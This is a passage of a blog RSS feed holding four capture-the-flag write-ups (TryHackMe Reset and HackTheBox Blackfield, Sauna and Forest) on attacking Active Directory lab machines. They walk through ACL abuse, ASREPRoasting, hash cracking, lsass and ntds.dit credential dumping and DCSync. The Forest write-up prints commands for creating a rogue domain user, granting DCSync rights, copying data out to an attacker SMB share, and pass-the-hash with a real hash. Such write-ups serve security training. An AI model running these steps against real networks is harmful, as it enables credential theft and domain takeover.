/></figure><p>Mapped the domain with bloodhound and discovered “Tabatha_Britt” user has “GenericAll” privileges on 2 users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0q6KxulYJggVKgY8sOnsw.png" /></figure><p>We can reset the password of the users and gain access to these accounts. Bloodhound has instructions on how to do this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*95KNfg5V76-knblN7aUnIg.png" /></figure><p>Further enumerated on bloodhound what privileges “Raquel_Benson” and “Shawna_Bray” users have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nuFHhixm9XETQe7UIrwY_w.png" /></figure><p>“Shawna_Bray” can ForceChangePassword on “Cruz_Hall”. Used the same attack as before to take control of “Cruz_Hall” user.</p><p>Going further on bloodhound looked what privileges “Cruz_Hall” user has</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*pUJxj-AezYrUlcL6q294VQ.png" /></figure><p>“Cruz_Hall” can change the password of “Darla_Winters”. Rinse and repeat the same attack to gain control of “Darla_Winters”.</p><p><strong>Privilege Escalation</strong></p><p>Checking on privileges of “Darla_Winters” user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*cQqOx4t2gpzTbhat4BRZgg.png" /></figure><p>“Darla_Winters” has constrained delegation privileges on the domain controller. This means we can request a ccache file of the administrator hash and export it to KRB5CCNAME environment variable and create remote session on the DC.</p><p>First the domain controller FQDN (haystack.thm.corp) should be added to the hosts file. Using impacket-getST module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*doz7wZN90z7JLx3-g_nv_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BdncVsxk7kq8NAILEDc_RA.png" /></figure><p>With that a remote session has been created as Administrator just by abusing ACLs.</p><p><strong>Another Interesting Attack (URL File Attack)</strong></p><p>There is another interesting attack vector in this box. Remember the unusual behavior in the SMB share from before where the filenames kept changing? With the “Tabatha_Britt” user enumerated SMB again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*onTpU9HEkhRL7ugRC7FZnw.png" /></figure><p>We have write access on the “Data” share.</p><p>From here need to upload file with the url of our attack machine which could give us a hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*6-Zs3BJnytfN3r7rg8Rjkw.png" /></figure><p>File was named with “@” at the beginning to make it appear on top in the smb share when files are listed. Once this is created, it can be uploaded to the Data\onboarding directory. Then need to run responder in the hopes of catching a hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*E4M-daEYqKM7wQXxe_Qj1w.png" /></figure><p>Starting responder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*d01LSXUrwcjon479cSMo0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s1PrMb39EDopOZmXFkNrjg.png" /></figure><p>We can try to crack the hash using hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*RQ4zjbLMEOr3lInC71f5eQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=357b28512b80" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/tryhackme-reset-357b28512b80">TryHackMe — Reset</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Blackfield]]></title>
            <link>https://systemweakness.com/hackthebox-blackfield-afbc0e6bc922?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/afbc0e6bc922</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Mon, 07 Oct 2024 09:02:22 GMT</pubDate>
            <atom:updated>2024-10-09T12:47:41.169Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Blackfield</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*YK_pYulJ4N1spOmwyreiJg.png" /></figure><p>Blackfield is a hard rated retired box focusing on attacking Active Directory with ASREPRoasting and abusing misconfigured ACLs to move laterally and elevate privileges.</p><p><strong>Initial Access</strong></p><p>Nmap scan shows the following ports open</p><p>`nmap -p &lt;ports&gt; -sC -sV &lt;ip&gt; -oN nmap_tcp`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9gYh-7MYd4VlWZ5nm_TzVg.png" /></figure><p>It is likely that this is a domain controller since port 53,88 are open. Enumerating smb we can see the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*YgtAdgEh2GmGmkbx1ToFcA.png" /></figure><p>Unforthunately smbmap does not list the shares with anonymous credentials. Trying “profiles$” share for anonymous login worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*IHnflecG1S4POikVQ3X0yw.png" /></figure><p>There are many directories named in what appears to be usernames. They all seem empty. However, if these are legitimate usernames these can be useful to launch an attack.</p><p>First hash was captured using an ASREPRoasting attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vyjxhGEm-8_D5We5WEHjBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2LrPGLgnaxFv-KKpkNulrg.png" /></figure><p>Cracked the hash using hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*iQg9KFmnMYDrFW0Mxy0ftQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-iE2hZFh1L4oXiebMB-BQ.png" /></figure><p>Couldn’t pop a shell with these credentials yet. Tried to grab a service hash for a kerberoasting attack with no luck. Enumerated the domain using bloodhound to find any misconfigurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*hj5OIjqpDwablms4igwNYw.png" /></figure><p>User “support” can change the password of “audit2020” user. Bloodhound has steps listed how to do this in linux since a remote shell on the target was not obtained yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*lsgtV10QxyPH0qLzbvMZUg.png" /></figure><p>After changing password gained control of the “audit2020” user. Still had no luck with gaining access to the target. Further enumeration with crackmapexec found there is read access to the “forensic” share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5eKSec1NM4b-S1UixIYCw.png" /></figure><p>Navigating to the forensic share found a “lsass.zip” file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*yTd7YOEl5W108y622gK34g.png" /></figure><p>After downloading the file extracted credentials using the tool “pypykatz” which is linux alternative to mimikatz.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oA9yaAcbCCRjXfGg0NGCQA.png" /></figure><p>“Administrator” hash can also be found in the output but it is not valid anymore apparently. However “svc_backup” user hash worked.</p><p>We can establish access via winrm using “evil-winrm” with the “svc_backup” user hash.</p><p><strong>Privilege Escalation</strong></p><p>Privilege escalation was tough because this was not encountered before. “svc_backup” user is in a group called “Backup Operators”. This group has some serious privileges which can be leveraged to dump hashes from “ntds.dit”.</p><p>First we need to make a copy of the C:\ drive to Z:\ (or whatever name) to access the ntds.dit file. This cannot be directly copied from the C:\ drive because it is in use by windows.</p><p>For this a script is created on kali machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*IwuUgn8ERmBmdgf34SjWow.png" /></figure><p>Next this should be converted to dos format using “unix2dos” which is available in kali</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*dLGLig-2z0x8txCDkll5OA.png" /></figure><p>Now this can be transferred to the target machine and executed with the following syntax</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KMYgIx7WfC18JU7CEmNTSQ.png" /></figure><p>Now ntds.dit should be copied with the following command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*F_t1yVJGmlPTtEwo_UgNPw.png" /></figure><p>Now system hive should also be copied with the following command to the C:\Temp (or whatever working folder)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*8afFythcj2_M0KGcwWdJ8Q.png" /></figure><p>Now these two files can be transferred to the attack machine to be used with “impacket-secretdump” to extract the hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KlQHF5X5vbYgStgrSFh8jw.png" /></figure><p>All password hashes have been dumped. It’s time to use Administrator hash to pwn the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pz6Jv2T8rtc6eCfhmOG_sw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afbc0e6bc922" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hackthebox-blackfield-afbc0e6bc922">HackTheBox — Blackfield</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Sauna]]></title>
            <link>https://systemweakness.com/hackthebox-sauna-0357975e5530?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/0357975e5530</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Wed, 02 Oct 2024 07:57:58 GMT</pubDate>
            <atom:updated>2024-10-09T12:47:43.089Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Sauna</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*CpEpzZLzXpm7kun2kuiNXA.png" /></figure><p>Hack The Box — Sauna is a “Easy” rated retired box that demonstrates few Active Directory attack vectors. Let’s dig in.</p><p><strong>Initial Access</strong></p><p>Nmap scan shows the following ports open</p><p>`nmap -p &lt;ports&gt; -sC -sV &lt;ip&gt; -oN nmap_tcp`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-jEePnx20B5Z4WPanFoNg.png" /></figure><p>Based on the output (port 53 and 88) it is clear that the target is a domain controller. The output also reveals the domain name “EGOSTITICAL-BANK.LOCAL”</p><p>SMB couldn’t be enumerated anonymously. Visiting the webpage we are greeted by with the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x880rhERd_ioaf4PiX8o6w.png" /></figure><p>Scrolling down the webpage we can see the names of the staff</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n4wFLKrsFqpveZtfZgCBBA.png" /></figure><p>Now that we have the names of the staff we can try to create a list of usernames to authenticate with the domain controller. Usually AD usernames are a combination of first name and last name (ex- j.doe or john_d). We can use “username_anarchy” script to generate a list of the most common combinations with the staff names we discovered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUp6FQd8c3LH24B09JIfKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*L3WQQAGCSw-lGji7kw_qDA.png" /></figure><p>There are several possible ways a username list like the above can be used to discover a foothold on a Active Directory domain (Password spray). However the intended way for this box is discovering a user that has “kerberos pre authentication” privilege. This is an ASREPRoasting attack.</p><p>We can use impacket’s GetNPUsers module for the ASREPRoasting attack to discover a user password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBXXVvzpi9iTJ7zhO5WU-Q.png" /></figure><p>With that the kerberos5 hash is captured for the fsmith user. The domain naming convention also is revealed. An attempt can be made to crack the captured hash with hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9wG0XtvpQ6zyhPUPh8LGg.png" /></figure><p>crackmapexec to check if the type of access we have on the domain controller. Crackmapexec can be used to enumerate other information such as access to network shares, password policy, domain users etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1uX1Mujk3zucmc9TD2Ybzg.png" /></figure><p>The captured credentials authenticate to the DC but does not have admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CCSToYl0zrXJeV3rrSuhKw.png" /></figure><p>No write access on any of the network shares either. Nmap scan showed that port 5985 is open. Evil-winrm can be used to log in with the credentials of fsmith.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urPUy2MLm_amTOh1xMfpxw.png" /></figure><p><strong>Lateral Movement &amp; Privilege Escalation</strong></p><p>Various manual methods can be used for enumeration with the initial access established. However, Invoke-winPEAS.ps1 powershell script reveals another set of credentials which has autologon privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*GLqjvA5QAob9cP29tcBZLw.png" /></figure><p>“svc_loanmanager” is not the domain username. Crackmapexec can be used to verify this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxWYlkKo3hJ8tlgX8Whq3w.png" /></figure><p>Bloodhound can be used to further enumerate the domain and check for any misconfigured ACLs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*cWNqt48Dd8NWy5q0k664ug.png" /></figure><p>A DCSync attack can be performed by svc_loanmgr account. Impacket-SecretsDump can be used to dump the sam hive and ntds.dit file from the domain controller with the svc_loanmgr credentials. DCSync attack is a type of attack that can be launched if a principal has “DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All privilege”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*quUx3-CrPz2cB2sU_EdNsg.png" /></figure><p>All domain hashes have been captured. DC can be pwned with the administrator hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yp77h6RhjJit8O6am3Ovdw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0357975e5530" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hackthebox-sauna-0357975e5530">HackTheBox — Sauna</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Forest Writup]]></title>
            <link>https://medium.com/@pizzsec/hackthebox-forest-writup-d2955e78296b?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2955e78296b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Fri, 09 Aug 2024 05:46:35 GMT</pubDate>
            <atom:updated>2024-08-09T05:46:35.937Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Forest Writup</h3><p>Initial nmap scan shows the following results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*v3z8xN-WMmwdIJfjhuIjrg.png" /></figure><p>SMB couldn’t be enumerated without credentials. From the kerberos service running on the server could determine that this is a domain controller.</p><p>Added the domain “htb.local” to the /etc/hosts file. Tried enumerating subdomains but couldn’t locate any.</p><p>Only logical path that could be taken for initial access seemed to be ldap service running on port 389.</p><p>Tried several metasploit modules but couldn’t get any passwords or hashes. But was able to discover usernames.</p><p>After looking up a walkthough ran enum4linux to discover previously undetected username “svc-alfresco”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*E7CLxK3e5VREtwk2-J3gDg.png" /></figure><p>Now using this username and ‘impacket-GetNPUsers’ module was able to gain the password hash of the service account (attack is called ASRep Roasting).</p><p>AS-REP ROASTING</p><p>EXPLANATION- For the user accounts that are enabled with no pre-Authentication,(basically Kerberos pre-authentication is disabled) it’s vulnerable to AS-REP Roasting attack. We can request for that user’s Kerberos TGT ticket without providing any authentication, and the TGT ticket which we will get back will be encrypted with the account’s password. So we can crack the hash offline.Using the Impacket’s GetNPUsers.py script, we can do the attack:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cqkvQ0hdwENCSdI4WOUdPQ.png" /></figure><p>With hashcat cracked the password for ‘svc-alfresco’ which was ‘s3rvice’. Now using these credential logged in using evil-winrm (because impacket-psexec did not work)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ceS20ueeqqyt0fPVVUHaLQ.png" /></figure><p>PRIVESC</p><p>The privesc part is also tough on this machine.</p><p>We need to run bloodhound to map the network. We need to put ShapHound.exe file on the target machine and run the binary.</p><p>*.\SharpHound.exe -c all*</p><p>This will create a zip file with the domain information. Now we need to transfer this zip file to the attacker machine. We can setup an smb server on the attacker machine for this.</p><p>*impacket-smbserver -smb2support share .*</p><p>Now we can run the following on the target to transfer the zip file.</p><p>*copy 20231121192354_BloodHound.zip \\10.10.14.5\share\20231121192354_BloodHound.zip*</p><p>Now we can feed this to the bloodhound console. We can search for the “svc-alfresco” account and mark it as owned. And then run the query “Shortest Path from Owned Principals”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9cJ_lOaE4VedoHfmWnaP1A.png" /></figure><p>From the above figure, we can see that svc-alfresco is a member of the group Service Accounts which is a member of the group Privileged IT Accounts, which is a member of Account Operators. Moreover, the Account Operators group has GenericAll permissions on the Exchange Windows Permissions group, which has WriteDacl permissions on the domain.</p><p>-svc-alfresco is not just a member of Service Accounts, but is also a member of the groups Privileged IT Accounts and Account Operators.</p><p>The Account Operators group grants limited account creation privileges to a user. Therefore, the user svc-alfresco can create other users on the domain.</p><p>The Account Operators group has GenericAll permission on the Exchange Windows Permissions group. This permission essentially gives members full control of the group and therefore allows members to directly modify group membership. Since svc-alfresco is a member of Account Operators, he is able to modify the permissions of the Exchange Windows Permissions group.</p><p>The Exchange Windows Permission group has WriteDacl permission on the domain HTB.LOCAL. This permission allows members to modify the DACL (Discretionary Access Control List) on the domain. We’ll abuse this to grant ourselves DcSync privileges, which will give us the right to perform domain replication and dump all the password hashes from the domain.</p><p>The Attack Path</p><ol><li>Create a user on the domain. This is possible because svc-alfresco is a member of the group Account Operators.</li><li>Add the user to the Exchange Windows Permission group. This is possible because svc-alfresco has GenericAll permissions on the Exchange Windows Permissions group.</li><li>Give the user DcSync privileges. This is possible because the user is a part of the Exchange Windows Permissions group which has WriteDacl permission on the htb.local domain.</li><li>Perform a DcSync attack and dump the password hashes of all the users on the domain.</li><li>Perform a Pass the Hash attack to get access to the administrator’s account.</li></ol><p>*net user hacker password /add /domain*</p><p>(Add user to the domain)</p><p>*net user /domain*</p><p>(Confirm the user was created)</p><p>*net group “Exchange Windows Permissions” /add hacker*</p><p>(add user to the “Exchange Windows Permissions” group)</p><p>We need to transfer PowerView.ps1 to the target to run a DCSync attack.</p><p>*. .\PowerView.ps1*</p><p>*$pass = convertto-securestring ‘password’ -AsPlainText –Force*</p><p>*$cred = New-Object System.Management.Automation.PSCredential(‘htb\zeus’, $pass)*</p><p>*Add-DomainObjectAcl -Credential $cred -TargetIdentity “DC=htb,DC=local” -PrincipalIdentity zeus -Rights DCSync*</p><p>Running “impacket-secretsdump* to get the administrator hash</p><p>*impacket-secretsdump ‘<a href="/service/mailto:hacker:password@10.10.10.161">hacker:password@10.10.10.161</a>’*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*S5Ej9mEG6GotQvSr0xdh2A.png" /></figure><p>We can use a pass the hash attack to gain a shell as administrator</p><p>*impacket-psexec <a href="/service/mailto:administrator@10.10.10.161">administrator@10.10.10.161</a> -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3jqUxkJJcavPYcLsgfVtbw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2955e78296b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>